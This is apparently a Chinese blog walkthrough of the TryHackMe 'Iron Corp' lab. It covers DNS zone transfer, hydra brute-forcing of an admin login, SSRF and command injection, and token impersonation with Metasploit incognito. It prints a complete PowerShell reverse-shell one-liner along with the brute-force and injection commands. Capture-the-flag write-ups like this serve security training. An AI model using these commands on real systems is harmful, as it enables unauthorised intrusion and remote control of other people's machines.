扫描打点



8080一个控制台:

有登录口,重置密码不能用
11025
仍然没什么东西
子域名
本来想用
wfuzz来做,但太慢了,看wp学到用dig,直接秒出了1
dig @10.10.171.13 ironcorp.me axfr
之后回来补充一下,仅在 $53$ 端口开放时可以使用dig

internal看起来不在内网访问不到的样子
admin同样是在
11025端口找到了登录入口:
hydra爆一下:1
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 11025 admin.ironcorp.me http-get

账密
admin:password123进去后有个搜索,试了下不是文件包含,但能
ssrf借助这个可以访问到刚刚访问不到的
internal


试试rce,发现后接分号会导致命令完整的输回来,后接
&会自动忽略其之后的部分,后接|时有命令执行
试图
nc反弹shell
虽然但是,拿了个邮箱:
mailto:webmaster@ironcorp.me应该拦了一部分,最后用靶机浏览器里面那个
reverse shell generator生成的powershell连上了1
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ip',port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
注意传的时候要过两遍
url编码来避免空格的影响桌面找到第一个flag
Windows /priv提权找到

转移到msf里,用
incognito伪造管理员令牌:1
2
3use incognito
list_tokens -u
impersonate_token "WIN-8VMBKF3G815/Admin"提为
admin
THM打靶日寄54-Iron Corp
- 本文链接: http://noone40404.github.io/2024/12/19/THM打靶日寄54:Iron Corp/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!